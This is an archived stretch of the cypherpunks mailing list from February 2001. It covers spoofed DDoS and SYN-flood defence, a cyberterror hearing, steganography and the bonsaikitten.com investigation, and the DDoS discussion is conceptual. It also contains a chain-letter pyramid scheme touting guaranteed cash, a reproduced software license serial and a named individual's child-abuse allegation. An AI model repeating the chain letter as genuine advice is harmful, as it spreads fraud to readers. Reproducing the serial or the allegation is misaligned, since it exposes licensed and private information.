auto shun these packets at the address level, the firewall will attempt to
insert 1 million rules in the space on under 5 minutes, its almost sure to
fall over.  If the firewall doesnt fall over and DOES succeed in these rule
insertions, it will have effectively blocked a fairly major part of the
internet from ever accessing your server that is being DoS'ed.

With 1000 machines, each sending 10 8k packets per second (80k/sec), you are
running at 80000k/sec, that is to say almost 80gigabit, enough to kill an
OC-48 dead in the water.

At this point, to stop and block and trace is almost impossible, and there
are still PLENTY of places you can send spoofed packets from that arent
blocking these things, besides, if you block them, unless you block them
VERY high up, your ISP is gonna be dead in the water anyway and your
blockage is gonna do nothing to stop it anyway

If anyone has other opinions on what Ive said above, please let me know :)

Thanks

Andrew

-----Original Message-----
From: owner-cypherpunks at minder.net
[mailto:owner-cypherpunks at minder.net]On Behalf Of Bill Stewart
Sent: Friday, February 09, 2001 4:46 AM
To: cypherpunks at cyberpass.net
Subject: Re: CDR: Re: IW: Tools Stunt DoS Attacks


At 05:16 PM 2/7/01 +0100, Lars Gaarden wrote:
>Andrew Alston wrote:
>> Basically, people who claim to be able to stop DDOS/trace DDOS/etc etc I
>> believe are playing on the public, making money out of a situation that
>> unfortunatly has no end in site, due to the fuckups made in the IP
>> protocol by the department of defense when they released the RFC.
>
>Spoofed source-addresses can be (and often are) blocked at the
>access ISP. RFC 2267, Ingress filtering.
>
>DDOS trojans on ISDN/xDSL/Cable home user boxes will have to use
>their real (or at least same subnet) source addresses on datagrams,
>or run the risk of having the traffic dropped silently at the first
>router.

Most DDOS attacks forge their source address, changing between
large numbers of forged addresses, so the site under attack can't
defend itself by blocking the addresses that attack it.
If a Bad Guy has thousands of slave machines, they can still
launch a big attack, but if they need to use their own addresses,
the target can block the attackers (still not easy for large numbers,
but at least it's possible.)
				Thanks!
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From andrew at security.za.net  Thu Feb  8 23:10:49 2001
From: andrew at security.za.net (Andrew Alston)
Date: Fri, 9 Feb 2001 09:10:49 +0200
Subject: VMware Workstation for Windows 2000 & Windows NT License File
In-Reply-To: <-842783696.981684901063.JavaMail.root@weblogic.vmware.com>
Message-ID: <LEEEJPKEDECPBBHJMPNPEENLCIAA.andrew@security.za.net>


How much bandwidth am I looking at to run another cypherpunks mailer, and is
there any requirement for another one?

Thanks

Andrew

-----Original Message-----
From: owner-cypherpunks at minder.net
[mailto:owner-cypherpunks at minder.net]On Behalf Of evaluations at vmware.com
Sent: Friday, February 09, 2001 4:15 AM
To: cypherpunks at toad.com
Subject: VMware Workstation for Windows 2000 & Windows NT License File


** Please do not reply to this email **

Thank you for downloading VMware VMware Workstation for Windows 2000 &
Windows NT.

Please find attached to this email message a file containing
a VMware VMware Workstation for Windows 2000 & Windows NT license
that includes the serial number you registered.

The license is packaged as a regedit script and clicking or
double clicking (depending on your email reader) on the attachment
VMware_License?.reg icon will install the license in the Windows
registry. ? will be replaced by a number sequence in the
license filename you receive.  If you read your email on one
system and want to run VMware on another system detach the
license file, copy it to the other system and double click on
the file icon to run it.

Thank you for your interest in VMware. We hope you enjoy using
our product.

Best Regards,

The VMware Team

----------------------- Cut Here -----------------------
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware for Windows NT\License.2.0]
"StartFields"="Cpt, Name, LicenseType, LicenseClass, Field2"
"Field2"="LicenseFeature, Count, ProductID, ProductType, Field3"
"Field3"="Expiration"
"Cpt"="COPYRIGHT (c) VMware, Inc. 1999-2001"
"Name"="VMware User"
"LicenseType"="User"
"LicenseClass"="Evaluation"
"LicenseFeature"="None"
"Count"="1 of 1"
"ProductID"="VMware for Windows NT"
"ProductType"="2.0.1"
"Expiration"="2001-3-17"
"Serial"="0DNAZ-0WWCA-L3U3T-1GQKX"
"Hash"="ee2d772e-cb817dad-ff3b7736-0f101a5e-02647d1b"
"EndField"="Hash"

----------------------- Cut Here -----------------------




From declan at well.com  Fri Feb  9 06:38:20 2001
From: declan at well.com (Declan McCullagh)
Date: Fri, 9 Feb 2001 09:38:20 -0500
Subject: Pentagon warns Fidel Castro could launch cyberattack against U.S.
Message-ID: <20010209093820.B7548@cluebot.com>


----- Forwarded message from Declan McCullagh <declan at well.com> -----

*********
Transcript of hearing:
http://www.cluebot.com/article.pl?sid=01/02/08/1638232
1998 transcript:
http://www.cluebot.com/article.pl?sid=01/02/08/0526201
*********

http://www.wired.com/news/politics/0,1283,41700,00.html
  
   Feds Say Fidel Is Hacker Threat
   by Declan McCullagh (declan at wired.com)
   2:00 a.m. Feb. 9, 2001 PST
   
   WASHINGTON -- These must be jittery times for anyone in the military
   who uses the Internet.
   
   Not only do they have to guard against Love Bug worms and security
   holes in Microsoft Outlook -- now they've got to worry about Fidel
   Castro hacking into their computers.
   
   Admiral Tom Wilson, head of the Defense Intelligence Agency, says the
   74-year-old communist dictator may be preparing a cyberattack against
   the United States.
   
   Wilson told the Senate Intelligence Committee during a public hearing
   Wednesday that Castro's armed forces could initiate an "information
   warfare or computer network attack" that could "disrupt our military."
   
   The panel later went into closed session to discuss classified
   material.
   
   Sen. Ron Wyden (D-Ore.) asked in response: "And you would say that
   there is a real threat that they might go that route?"
   
   Replied Wilson: "There's certainly the potential for them to employ
   those kind of tactics against our modern and superior military."
   
   He said that Cuba's conventional military might was lacking, but its
   intelligence operations were substantial.
   
   The partly classified hearing is an annual event -- and an important
   one: It represents this year's World Threat Assessment discussion.
   That's a chance for the intelligence committee to set its agenda for
   this session of Congress and hear from senior intelligence officials
   about the latest national security threats.
   
   In addition to the aging president of Cuba, witnesses and senators
   both cited encryption as another technology-related threat during a
   far-ranging discussion that also encompassed nuclear, biological and
   chemical weapons.
   
   Sen. Richard Shelby (R-Ala.), the committee's hawkish chairman, said
   that the classified hearing later in the day would "explore the
   challenges posed by, among others, the proliferation of encryption
   technology, the increasing sophistication of denial and deception
   techniques, the need to modernize and to recapitalize the National
   Security Agency, and other shortfalls in intelligence funding."

   [...]



-------------------------------------------------------------------------
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You may redistribute this message freely if it remains intact.
To subscribe, visit http://www.politechbot.com/info/subscribe.html
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----- End forwarded message -----




From alan at clueserver.org  Fri Feb  9 10:35:20 2001
From: alan at clueserver.org (Alan Olsen)
Date: Fri, 9 Feb 2001 10:35:20 -0800 (PST)
Subject: stego for the censored II
In-Reply-To: <20010209130020.B6581@cluebot.com>
Message-ID: <Pine.LNX.4.10.10102091031150.14028-100000@clueserver.org>


On Fri, 9 Feb 2001, Declan McCullagh wrote:

> > Also you've got to wonder if the whole thing is some
> > spook public opnion manipulation attempt.  And then
> 
> Right. Prominent articles in USA Today and eslewhere, followed by front-page
> LA Times article, followed by the Fidel Castro cyberterror hearing on Wed.
> 
> There's a pattern.

I think it is an attempt to frighten all those green senators and gullible
congress critters.  (I noticed Wyden got a good soundbite.  Wyden has done
some good, but he falls for some of the DUMBEST scams. Well meaning, but
gullible.)

I wonder if budget requests are due soon.

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
    "In the future, everything will have its 15 minutes of blame."




From bear at sonic.net  Fri Feb  9 11:02:09 2001
From: bear at sonic.net (Ray Dillinger)
Date: Fri, 9 Feb 2001 11:02:09 -0800 (PST)
Subject: stego for the censored II
In-Reply-To: <20010209130020.B6581@cluebot.com>
Message-ID: <Pine.LNX.4.21.0102091053420.25114-100000@bolt.sonic.net>




On Fri, 9 Feb 2001, Declan McCullagh wrote:

>Right. Prominent articles in USA Today and eslewhere, followed by front-page
>LA Times article, followed by the Fidel Castro cyberterror hearing on Wed.
>
>There's a pattern.

Yah.  A pretty blatant one.  I'm wondering though why they're 
concentrating on international threats and political crap 
instead of more domestic threats.  

For example, considering how lucrative an aggressive program of 
corporate espionage and selective capital investment could be, 
and how relatively risk-free compared to cruder uses of inside 
information such as blackmail and extortion, I'd be astonished 
if there were nobody out there right now doing it. 

But people like that are not being brought to our attention.  

				Bear






From aimee.farr at p...  Fri Feb  9 10:40:22 2001
From: aimee.farr at p... (Aimee Farr)
Date: Fri, 9 Feb 2001 12:40:22 -0600
Subject: Crypto McCarthyism ...thoughts, gentlemen?
Message-ID: <mailman.359.1576007495.31620.cypherpunks-legacy@lists.cpunks.org>

<snip>
o What do you think about [1-2]?
o Contemporary parallels? (use of crypto as an aggravating factor in
punishment, etc.)
o Finally, how could [3] come about in the context of crypto (and other
digital freedoms)?
<snip>
=======================================================================
Electronic Journal of Sociology (1996)
ISSN: 1176 7323
Cyber McCarthyism: Witch Hunts in the Living Room
http://www.sociology.org/content/vol002.001/ling.html

<snippage>

[1] "This paper examines the potential for electronic communication to spark
mass hate such as that seen in colonial Salem and during the McCarthy
period."

[2] "The elements which go into the development of mass hate include the
following: 1) strains on the community through the recognition of a moral
boundary crisis and identification of villains, 2) crystallizing of
patterned labeling through a degradation ceremony, 3) appropriation of the
social apparatus and suppression of critique mechanisms, 4) restoration of a
normal situation."

[3] "Finally, the fervour came under control. In both of these cases this
occurred when the mass hate became a serious threat to the established power
structure, members of the government in the case of colonial Salem and the
Army in the case of McCarthyism."

<end snippage>

========================================
Tim's comments for historical reference.
========================================

> "On the Internet, no one knows you're a bitch."

====================
And, from Declan...
====================

> Since the paper is so flawed, I'm not sure it's worth discussing at
length.
> But, briefly, is crypto as threatening as witches were? Far from it. It --
> and its derivative technologies, such as anonymity -- seems to be
perceived
> more as a way to reclaim lost privacy rather than a new and unusual
threat.
> In that sense, it is a conservative technology. (This could change, and
> certainly the intelligence community is hand-waving about terrorists
again,
> but I doubt it'll have much luck.)

> -Declan

========================
And this, from Choate....
========================

http://groups.yahoo.com/group/psychohistory/message/2810



~Aimee




From aimee.farr at pobox.com  Fri Feb  9 10:40:22 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Fri, 9 Feb 2001 12:40:22 -0600
Subject: Crypto McCarthyism ...thoughts, gentlemen?
Message-ID: <NEBBJHBKILFDJEFIABHPIEPPCBAA.aimee.farr@pobox.com>


Gentlemen[*]:

Looking for a modern revisitation of this 1996 Cyber McCarthyism paper
(snips below). Something with an academic & empirical focus. Eh, I'm not
holding my breath....so, I would equally value your thoughts on the
following, in light of all the "cryptoboogeymen" popping out of closets into
guv'mint press releases and hearings lately:

o What do you think about [1-2]?

o Contemporary parallels? (use of crypto as an aggravating factor in
punishment, etc.)

o Finally, how could [3] come about in the context of crypto (and other
digital freedoms)?

Whatever. Somehow, I don't think this group likes pointy questions. My
apologies for the intrusion, I return to you to your regularly scheduled
Choatian programming, and thoughts of edible panties.

[*]appearances suggest an absence of participatory estrogen in here.
=======================================================================
Electronic Journal of Sociology (1996)
ISSN: 1176 7323
Cyber McCarthyism: Witch Hunts in the Living Room
http://www.sociology.org/content/vol002.001/ling.html

<snippage>

[1] "This paper examines the potential for electronic communication to spark
mass hate such as that seen in colonial Salem and during the McCarthy
period."

[2] "The elements which go into the development of mass hate include the
following: 1) strains on the community through the recognition of a moral
boundary crisis and identification of villains, 2) crystallizing of
patterned labelling through a degradation ceremony, 3) appropriation of the
social apparatus and suppression of critique mechanisms, 4) restoration of a
normal situation."

[3] "Finally, the fervour came under control. In both of these cases this
occurred when the mass hate became a serious threat to the established power
structure, members of the government in the case of colonial Salem and the
Army in the case of McCarthyism."

<end snippage>

Respectfully,

mailto:aimee.farr at pobox.com
Aimee E. Farr, Esq.
LAW OFFICE OF AIMEE E. FARR
5400 Bosque, Suite 675
Waco, Texas 76710-4418
office: 254.751.0030
fax: 254.751.09673





From declan at well.com  Fri Feb  9 09:50:35 2001
From: declan at well.com (Declan McCullagh)
Date: Fri, 09 Feb 2001 12:50:35 -0500
Subject: cyberterror hearing on cpsan right now
Message-ID: <5.0.2.1.0.20010209125013.02635d90@mail.well.com>


it's the fidel one i wrote about on wired.com today.




From declan at well.com  Fri Feb  9 10:00:20 2001
From: declan at well.com (Declan McCullagh)
Date: Fri, 9 Feb 2001 13:00:20 -0500
Subject: stego for the censored II
In-Reply-To: <20010207201831.A25210@cypherpunks.ai>; from adam@cypherpunks.ai on Wed, Feb 07, 2001 at 08:18:31PM -0400
References: <20010207102551.L30304@lemuria.org> <a05010400b6a72ec7d884@[207.111.241.188]> <20010207201831.A25210@cypherpunks.ai>
Message-ID: <20010209130020.B6581@cluebot.com>


On Wed, Feb 07, 2001 at 08:18:31PM -0400, Adam Back wrote:
> I wonder if they're using PGP stealth 2 that I contributed to
> based on Henry Hastur's 1.  It's kind of interesting to see
> these things used in the field.
> 
> However one suspects unless they had some hired security
> consultants it may be that they just used the stego
> programs such as Andy Brown's or Romano's stego program with
> raw messages.  Or perhaps using PGP without PGP stealth.
> 
> Also you've got to wonder if the whole thing is some
> spook public opnion manipulation attempt.  And then

Right. Prominent articles in USA Today and eslewhere, followed by front-page
LA Times article, followed by the Fidel Castro cyberterror hearing on Wed.

There's a pattern.

-Declan




From declan at well.com  Fri Feb  9 10:03:21 2001
From: declan at well.com (Declan McCullagh)
Date: Fri, 9 Feb 2001 13:03:21 -0500
Subject: your mail
In-Reply-To: <001c01c09172$b6198940$40a63d3f@oemcomputer>; from BOSSLION@email.msn.com on Wed, Feb 07, 2001 at 07:58:48PM -0600
References: <001c01c09172$b6198940$40a63d3f@oemcomputer>
Message-ID: <20010209130321.C6581@cluebot.com>


Um, what prompted you to send this to cypherpunks?

-Declan


On Wed, Feb 07, 2001 at 07:58:48PM -0600, BOSSLION wrote:
> I HAVE 2 LITTLE GRAND DAUGHTERS THAT HAVE BEEN MOLESTED BY THEIR STEP GRANDFATHER. THEY HAVE  TALKED TO BY THE SHERIFFS DEPT. AND THEY WERE CONVINCED THAT THEY HAD BEEN SUBJECT TO ORAL SEX, BUT NOT ACTUALLY PENETRATED. THE DEPUTY SAID  THE CASE WORKER WAS WALKING ON THIN ICE, AND IT PROBABLY WOULD NOT HOLD UP IN COURT BECAUSE THEY ARE ONLY FOUR AND FIVE YEARS OLD. WHEN I CALLED TO SEE IF THIS MAN HAD BEEN ARRESTED, THEY TOLD ME IT WAS NONE OF MY BUSINESS. I AM WILLING TO GO TO JAIL BEFORE LETTING THESE GIRLS GO BACK TO THIS SITUATION. MY FAMILY HAS BEEN DEVASTATED BY THIS. I CANT BEAR FOR THEM TO HAVE TO EVER HAVE TO SEE THIS PERSON AGAIN, BUT MY SON, THEIR FATHER DOES NOT HAVE CUSTODY. AT THE MOMENT HE HAS THEM, BUT THEIR MOTHER WILL NOT COMPLY WITH DFS SO THEY CAN GET COUNSELING. THE DFS HAS SENT THE MEDICAID CARDS SO THEY CAN GET THE COUNSELING, BUT SHE HAS TO SIGN THE CONSENT, AND SHE WONT. THEY HAVE NOT BEEN TO THE DOCTORS FOR AN EXAM, BECAUSE SHE ALSO WONT SIGN FOR T!
HAT. THE LAWS OF THIS LAND ARE COMPLICATED, AND IM SURE THAT SOMEWHERE THE REASON FOR THIS CONSENT FROM THE MOTHER, IS APPROPRIATE, BUT AT THIS TIME, I AM FRUSTRATED THAT THEIR MOTHER AND HER NEW HUSBANDS FAMILY ARE ABLE TO MANIPULATE THE LAW . WE NEED TO PROTECT CHILDREN FROM ANYONE THAT IS NOT LOOKING OUT FOR THEIR BEST INTEREST. THESE ARE BRIGHT BEAUTIFUL CHILDREN, AND DESERVE TO HAVE A FUTURE, UNMOLESTED.  CATHERINE M. HALL GRANDMOTHER   BOSSLION @MSN.COM




From bill.stewart at pobox.com  Fri Feb  9 13:07:02 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Fri, 09 Feb 2001 13:07:02 -0800
Subject: IW: Tools Stunt DoS Attacks
In-Reply-To: <LEEEJPKEDECPBBHJMPNPAENLCIAA.andrew@security.za.net>
References: <3.0.5.32.20010208184534.00955640@idiom.com>
Message-ID: <3.0.5.32.20010209130702.01c60100@idiom.com>


At 09:08 AM 2/9/01 +0200, Andrew Alston wrote:
>If the attacker has a large number of slave machines, each machine is
>spoofing from 1000 addresses (I.E sending 1000 packets each one from a
>different address, and then cycling these addresses or generating another
>1000 different addresses), it becomes VERY VERY difficult to block.
>1000 machines, each sending 1000 packets, from 1000 spoofed addresses, each
>packet is 8k big...


Agreed - if the ISPs aren't spoof-proofing, it's very tough to defend
against, as Lars and I noted.  But if ISPs, particularly the cable and DSL
ISPs, 
are spoof-proofing their outgoing packets, there won't be an 
unblockably large 1,000,000 addresses, just a still-annoying 1000 addresses, 
and the addresses you'll be blocking are mostly sites you won't miss 
(cable, DSL, and dial-up subscribers) rather than a random scatter
of probably-useful systems and networks around the net.

>Because each packet is a SYN packet, ... the firewall will attempt to
>insert 1 million rules in the space on under 5 minutes.

The magic of SYN attacks is that you don't have to accept
more than one SYN from a given machine at a time,
at least for a given port, so you don't have to use firewall rules
except to limit the range of ports that are being targeted,
and when you start to build rules, you only need 1000 of them.

>With 1000 machines, each sending 10 8k packets per second (80k/sec), you are
>running at 80000k/sec, that is to say almost 80gigabit, enough to kill an
>OC-48 dead in the water.

Fortunately, that's only 80 Megabits, not Gigabits, 
so it's only a T3-killer, not an OC-768-killer :-)  Still annoying.
You can fill the T3 with about 1500 dialup users,
and about 5 times as fast with cable modem or IDSL,
15-30 with faster DSL, and of course much faster with 
university machines (where you're limited by the 
university's aggregate outgoing bandwidth
rather than the individual smurves' bandwidth.)
Of course, if you've only got a T1/DSL/Cable line, you're toast.

But there are several different attacks here -
I'd be surprised if there's a legitimate use for 8KB SYN packets,
though I'm not sure any current firewalls have an easy way to
detect and block that, so it may work.
Some attacks are likely be blocked by firewalls -
ports you don't want, UDP packets and traffic pretending to be
from open TCP connections when you haven't done a SYN first.
Those still flood your incoming pipe - some ISPs are
offering network-based firewalls that can do simple filtering
at the upstream end of the connection to reduce the
bandwidth you spend on anklebiters.

But still, a 1000-machine attack is hard to do much about by yourself,
and as you say, the upstream providers will get swamped also
until you go out smurf hunting and get the things killed off.
There have been some proposals to add various tracing to the
backbone networks that may be of some help in the future.

Things could be far worse, though - imagine if some popular software
package that people installed on purpose had DDOS capabilities,
like a hacked Napster client or Quake Performance-Booster or 
Netscape Foobar-Graphics plug-in or a more clever than usual MSWord virus.
Bad stuff.



				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From declan at well.com  Fri Feb  9 10:24:14 2001
From: declan at well.com (Declan McCullagh)
Date: Fri, 9 Feb 2001 13:24:14 -0500
Subject: FC: FBI investigates bonsaikitten.com, sends subpoena to MIT
Message-ID: <mailman.360.1576007495.31620.cypherpunks-legacy@lists.cpunks.org>



*************
Background on depictions-of-animal-mutilation law:
 http://www.politechbot.com/p-00574.html
 http://www.politechbot.com/p-00667.html
Recap of story prior to FBI investigation:
 http://www.cruel.com/sub/bonsai.shtml
*************

http://www.wired.com/news/politics/0,1283,41733,00.html
   
   FBI Goes After Bonsaikitten.com
   by Declan McCullagh (declan at wired.com)

   10:10 a.m. Feb. 9, 2001 PST
   WASHINGTON -- A website devoted to squishing kittens into Mason jars
   is one of two things: A trenchant parody designed to provoke, or a
   nefarious kitty-mutilation scheme that must be stopped, and probably
   outlawed.
   
   Count the FBI among the many visitors to bonsaikitten.com who are
   anything but amused at the descriptions of how to use muscle relaxant,
   feeding tubes and Klein bottles to shape a perfect Bonsai Cat.

   FBI agents in the Boston field office have launched an investigation
   into the site. They also have served MIT with a grand jury subpoena
   asking for "any and all subscriber information" about the site, which
   was initially hosted in a campus dormitory but has since moved to a
   commercial provider.
   
   MIT said in a letter to bonsaikitten.com's pseudonymous webmaster, a
   graduate student using the alias Dr. Michael Wong Chang, that it will
   wait until Sunday to turn over records that would identify him by
   name.
   
   "I was surprised," Chang said. "I really thought that the FBI had
   better things to do. That's your tax dollars at work."
   
   Bonsaikitten.com is, of course, a joke devised by prankster MIT
   students -- who else would talk about "rectilinear kittens?" -- to
   provoke owners of kittens, an adorably fuzzy topic that's usually
   beyond parody.
   
   Bonsaikitten.com offers to sell visitors a custom-shaped kitten -- the
   site says "typical wait time for a fully shaped Bonsai Kitten is 3 to
   4 months" -- but the site does not list prices or a mailing address
   for where to send money orders. It does, however, occasionally receive
   requests for more information.
   
   It also has sparked tens of thousands of hate-mail messages,
   anti-Bonsai Kitten groups on Yahoo, and even a blistering denunciation
   from the venerable Humane Society of the United States.
   
   For the site's fans, watching e-mail nastygrams arrive has become a
   kind of spectator sport: There's even a mailing list that lets
   bonsaikitten.com aficionados view any mail sent to the site's
   webmaster. A typical message: "This site is horrible! You should go in
   a mental hospital! You son of a bitch! I'll do my best to shut down
   this site and your disgusting hobby!"
   
   [...]
   
   In December 1999, President Clinton signed a law that makes it a
   federal felony to possess "a depiction of animal cruelty" with the
   intent to distribute across state lines -- such as on the Internet.
   During a floor debate, Rep. Elton Gallegly (R-Calif.) claimed that
   "sick criminals are taking advantage of the loopholes in the local law
   and the lack of federal law on animal cruelty videos."
   
   The law, which observers at the time said probably violated the First
   Amendment, only applies to images, videos, and sound recordings that
   are distributed "for commercial gain" -- and bonsaikitten.com's
   tongue-in-cheek descriptions of mail-order cats in bottles appears to
   have given the FBI sufficient justification for an investigation.

   [...]




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From declan at well.com  Fri Feb  9 10:25:46 2001
From: declan at well.com (Declan McCullagh)
Date: Fri, 9 Feb 2001 13:25:46 -0500
Subject: FBI investigates bonsaikitten.com, sends subpoena to MIT
Message-ID: <20010209132546.B6887@cluebot.com>


----- Forwarded message from Declan McCullagh <declan at well.com> -----


From PreferredCustomer.1157587.779.0 at kc.britannica.com  Fri Feb  9 12:15:50 2001
From: PreferredCustomer.1157587.779.0 at kc.britannica.com (Britannica Store)
Date: Fri, 9 Feb 2001 14:15:50 -0600
Subject: Black History Month - Save up to 20%
Message-ID: <981749751397.PreferredCustomer.1157587.779.0@kc.britannica.com>

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From luckie58 at bellsouth.net  Fri Feb  9 11:35:27 2001
From: luckie58 at bellsouth.net (Steven Johnson)
Date: Fri, 09 Feb 2001 14:35:27 -0500
Subject: ARE YOU READY TO MAKE SOME REAL MONEY?
Message-ID: <200102091928.OAA09121@mail3.atl.bellsouth.net>


DO NOT DELETE, READ AND MAKE SOME BIG BUCKS!! (ADV)

Hello,
Thank you for your inquiry. You have either inquired as to how to make money, 
a job inquiry or signed up for information by signing to recieve information 
via subscription or newsletter on the internet.
If after you have read the information you feel that this has reached you in 
error please see removal instructions at bottom of the page.

MONEY MAKERS on the net! 

DO NOT DELETE, PRINT IT, READ IT AND MAKE SOME BIG BUCKS.
IT HAS WORKED SO WELL, THIS IS MY THIRD TIME AROUND.

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EARN $100,000 PER YEAR SENDING E-MAIL!!!

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In network marketing, it also means getting paid for the work of others. The 
enclosed information is something I almost let slip through my fingers. Fortunately, 
sometime later I re-read everything and gave some thought and study to it.


My name is Jerry Proctor.
Two years ago, the corporation I worked at for the past fifteen years
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A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed program and reports, you should 
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HERE'S HOW THIS AMAZING PROGRAM WILL MAKE
YOU THOUSANDS OF DOLLAR$!!

INSTRUCTIONS:
This method of raising capital REALLY WORKS 100% EVERY TIME.
I am sure that you could use up to $50,000 or more in the next 90 days.
Before you say "BULL... ", please read this program carefully. This is 
not a chain letter, but a perfectly legal money making opportunity. 
Basically, this is what you do: As with all multi-level businesses, we build 
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Every state in the USA allows you to recruit new multi-level business
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1. Order all 4 reports shown on the list below
(you can't sell them if you don't order them).
* For each report, send $5.00 CASH, 
the NAME & NUMBER OF THE REPORT YOU ARE ORDERING, YOUR E-MAIL 
ADDRESS, YOUR NAME & RETURN ADDRESS (in case of a problem)
to the person whose name appears on the list next to the 
report.
* If you do not live in the us, you will have to buy the $5 bills 
first at your local bank office.
* MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE IN CASE OF ANY 
MAIL PROBLEMS!
* When you place your order, make sure you order each of the four 
reports.
You will need all four reports so that you can save them on your 
computer and resell them. You really need these reports, otherwise
people won't be able to order anything from you and these reports
hold IMPORTANT INFORMATION which you really need to make this into
a success.
* Within a few days you will receive, via e-mail, each of the four
reports.
Save them on your computer so they will be accessible for you to
send to the 1,000's of people who will order them from you.

2. IMPORTANT-- DO NOT alter the names of the people who are listed next
to each report, or their sequence on the list, in any way other than
is instructed below in steps "a" through "f" or you will lose out on
the majority of your profits. Once you understand the way this 
works,you'll also see how it doesn't work if you change it.
Remember, this method has been tested, and if you alter it, it will
not work.

a. Look below for the listing of available reports.

b. After you've ordered the four reports, take this Advertisement
and remove the name and address under REPORT #4. This person has 
made it through the cycle and is no doubt counting their $50,000

c. Move the name and address under REPORT #3 down to REPORT #4.

d. Move the name and address under REPORT #2 down to REPORT #3.

e. Move the name and address under REPORT #1 down to REPORT #2.

f. Insert your name/address in the REPORT #1 position.
Please make sure you copy every name and address ACCURATELY!

Take this entire letter, including the modified list of names, and save it to 
your computer. Make NO changes to the Instruction portion of this letter. Your 
cost to participate in this is practically nothing (surely you can afford $20). 
You obviously already have an Internet Connection and e-mail is FREE! To assist 
you with marketing your business on the internet, the 4 reports you purchase 
will provide you with invaluable marketing information which includes how to 
send bulk e-mails, where to find thousands of free classified ads and much, much 
more. In addition you will be provided with information on Internet Marketing 
Clubs such as:
INTERNET MARKETING RESOURCES (IMR): This Is one the premiere 
Internet marketing clubs on the INTERNET.
This club provides a forum where internet marketers from all over 
the world can exchange ideas and secrets on Internet Marketing. In addition, 
this club specializes in providing free internet marketing tools and services 
for the Do-Yourself-Internet-Marketer. They will provide you with free bulk e-mail 
software and up to 1,000,000 fresh e-mail addresses each week. This club will 
provide you with hundreds of free resources, which include: How to obtain free 
web sites, how to obtain top rankings in search engines for your web-site, how 
to send bulk e-mail into AOL and Compuserve, how to market your products on newsgroups, 
free classified ads, electronic malls, bulletin boards, banner ads and much 
more.There are two primary methods of building your downline:
METHOD #1: SENDING BULK E-MAIL
Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out only 2,000 programs 
each. 
FRIEND Let's also assume that the mailing receives a 0.5% response. Using a good 
list the response could be much better.
Also, many people will send out hundreds of thousands of programs 
instead of 2,000. But continuing with this example, you send out only 2,000 programs. 
With a 0.5% response, that is only 10 orders for REPORT #1. Those 10 people respond 
by sending out 2,000 programs each for a total of 20,000. Out of those 0.5%, 
100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each 
for a total of 200,000. The 0.5% response to that is 1,000 orders for REPORT 
#3. Those 1,000 send out 2,000 programs each for a 2,000,000 total. The 0.5% 
response to that is 10,000 orders for REPORT #4. That's 10,000 $5 bills for you. 
CASH!!! Your total income in this example is $50 + $500 + $5,000 + $50,000 for 
a total of $55,550 !! 
REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 2,000 PEOPLE YOU MAIL TO WILL 
DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT 
WOULD HAPPEN IF EVERYONE, OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000.
Believe me, many people will do just that, and more! By the way,
your cost to participate in this is practically nothing. As mentioned before, 
You obviously already have an internet connection and e-mail is FREE !!! 
REPORT #2 will show you the best methods for bulk e-mailing, tell you where to 
obtain free bulk e-mail software and where to obtain e-mail lists.
METHOD #2 - PLACING FREE ADS ON THE INTERNET
1. Advertising on the 'Net is very, very inexpensive, and there are
HUNDREDS of FREE places to advertise. Let's say you decide to start 
small just to see how well it works. Assume your goal is to get ONLY 10 
people to participate on your first level. (Placing a lot of FREE ads on the 
internet will EASILY get a larger response.) Also assume that everyone else in 
YOUR ORGANIZATION gets ONLY 10 downline members. Follow this example to achieve 
the STAGGERING results below.
1st level-your 10 members with $5 ...............................$50.

2nd level-10 mems from those 10 ($5 x 100).......................$500.

3rd level-10 mems from those 100 ($5 x 1,000)...................$5,000.

4th level-10 mems from those 1,000 ($5 x 10k)...................50,000.
Total $55,550.

Remember friends, this assumes that the people who participate only 
recruit 10 people each. Think for a moment what would happen if they got 20 people 
to participate! Most people get 100's of participants! THINK ABOUT IT! 
For every $5.00 you receive, all you must do is e-mail them the report they ordered.
THAT'S IT! ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!
This will guarantee that the e-mail THEY send out, with YOUR name and 
address on it, will be prompt because they can't advertise until they receive 
the report!

*** Order Each REPORT by NUMBER and NAME ***

Notes: - ALWAYS SEND $5 CASH (U.S. CURRENCY) FOR EACH REPORT CHEQUES
NOT ACCEPTED - YOU BETTER SEND YOUR ORDER VIA FIRST CLASS MAIL!!
* Make sure you pay for all the shipping/mail costs or that you use
enough stamps, especially when the person you order from lives in 
another country. This is really important because if you don't pay enough your 
mail won't arrive and you won't receive your report. Take some time to do this 
right, you only have to do it once and it's the base of your business. If your 
not sure how many stamps you need, just ask your post office or bring the mail 
to them and then they will make sure that it will arrive.
* Make sure the cash (if you live outside the U.S. first buy 4 - $5 bills at 
your bank office) is concealed by wrapping it in at least two 
sheets of paper.
* On one of those sheets of paper, include:
(a) the number & name of the report you are ordering,
(b) your e-mail address,
(c) your name & postal address.

PLACE YOUR ORDER FOR THESE REPORTS NOW:

REPORT #1 "The Insider's Guide to Advertising for Free on the Internet"

ORDER REPORT #1 FROM :
STEVEN JOHNSON
1807 N. DAKOTA RD BOX 875
VALDOSTA, GA 31605
U.S.A.

REPORT #2 "The Insider's Guide to Sending Bulk E-mail on the Internet" 

ORDER REPORT #2 FROM:
Thomas Kim (abc20 at orgio.net <mailto:abc20 at orgio.net> )
16 McKinley Pl.
Cherrybrook NSW2126
Sydney Australia

REPORT #3 "The Secrets to Multilevel Marketing on the Internet"

ORDER REPORT #3 FROM:
MeiWillie Ltd., William Harrison 745/5 M12 Sila Muang, Khon Kaen, 
Thailand 40000

